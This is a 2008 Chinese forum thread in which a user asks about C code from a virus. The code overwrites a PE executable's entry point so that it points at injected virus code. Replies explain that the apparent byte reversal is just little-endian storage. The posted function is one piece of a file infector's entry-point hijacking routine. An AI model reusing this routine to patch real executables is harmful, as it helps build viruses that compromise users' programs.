首页
社区
课程
招聘
[旧帖] [求助]病毒将代码写入文件时的问题 0.00雪花
发表于: 2008-2-24 11:07 3703

[旧帖] [求助]病毒将代码写入文件时的问题 0.00雪花

2008-2-24 11:07
3703
有以下代码,功能是原EXE文件的OEP改成指向插入在EXE文件中病毒体的代码的起始位置,我的问题是经过下列红色代码的运算,病毒体代码的起始地址不是被反过来写入到EXE文件中了吗?我的理解是本来地址是1234的被反过来成了4321,然后写入到原OEP中,这样PE装载器读取的地址有用么?

void writefile()
{
int ret;
long retf;
DWORD address;
int tmp;
unsigned char waddress[4]={0};

ret=_open(filename,_O_RDWR | _O_CREAT | _O_BINARY,_S_IREAD | _S_IWRITE);
if(!ret)
{
printf("error open\n");
return;
}

retf=_lseek(ret,(long)peaddress+40,SEEK_SET);
//程序的入口地址在PE文件头开始的40处
if(retf==-1)
{
printf("error seek\n");
return;
}
address=newentryaddress;
tmp=address>>24;
waddress[3]=tmp;
tmp=address<<8;
tmp=tmp>>24;
waddress[2]=tmp;
tmp=address<<16;
tmp=tmp>>24;
waddress[1]=tmp;
tmp=address<<24;
tmp=tmp>>24;
waddress[0]=tmp;
retf=_write(ret,waddress,4);
//把新的入口地址写入文件
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 485
活跃值: (12)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
2
不太明白你的意思。
但你可以用OD调试一下看看结果,找一找哪里不对
2008-2-24 11:12
0
雪    币: 380
活跃值: (101)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
3
address=newentryaddress; 
tmp=address>>24; 
waddress[3]=tmp;  
tmp=address<<8; 
tmp=tmp>>24; 
waddress[2]=tmp; 
tmp=address<<16; 
tmp=tmp>>24; 
waddress[1]=tmp; 
tmp=address<<24; 
tmp=tmp>>24; 
waddress[0]=tmp; 
retf=_write(ret,waddress,4); //把新的入口地址写入文件 

这个过程就是把newentryaddress的值按照高高低低的顺序存放到字符数组waddress中去,然后把waddress数组4个字节数据写到文件里去,实际就是写入了newentryaddress的值
retf=_write(ret,waddress,4); 为何不写成
retf=_write(ret,&newentryaddress,4); 
你所考虑的把数据反转过来再写入文件是否PE加载会出错?不会
2008-2-24 14:14
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
msy
4
那为什么要先反转在写如PE文件呢?
2008-2-24 14:35
0
雪    币: 380
活跃值: (101)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
5
看的别人的代码吧,你还是自己调试一下吧
他之所以要反转,是为了把newentryaddress按照高高低低的顺序存放到字符数组waddress中去,以便_write(ret,waddress,4)的执行

如果newentryaddress= 0x00401040;
执行位上面的移位操作后最终waddress各元素值的值为
waddress[3] = 0x00
waddress[2] = 0x40
waddress[1] = 0x10
waddress[0] = 0x40

retf=_write(ret,waddress,4)将会把以waddress为起始地址的四个字节数据40 10 40 00顺序写到文件中去,也就是先写
waddress[0] ,
再写waddress[1],waddress[2],waddress[3] ,  也就是写入了0x00401040

实际上去掉上面的移位操作,直接retf=_write(ret,&newentryaddress,4)就可以实现写入入口点操作了
2008-2-24 15:06
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
msy
6
我假设_write从左往右写,写先waddress[0](40),再写waddress[1](10),等等……
结果写出来的从左往右看不就是40104000了么?跟我们平常写字一样……
2008-2-24 15:47
0
雪    币: 380
活跃值: (101)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
7
嗯,,,,,,,,,
2008-2-24 15:58
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
msy
8
楼上大哥难道你没发现吗?
我的理解正好跟你的相反……
2008-2-24 16:12
0
雪    币: 380
活跃值: (101)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
9

右端是高地址,左端是低地址,
从左往右看是40104000,从右往左看就是00401040了, PE装载器就是从右往左看了四字节
2008-2-24 16:17
0
游客
登录 | 注册 方可回帖
返回
//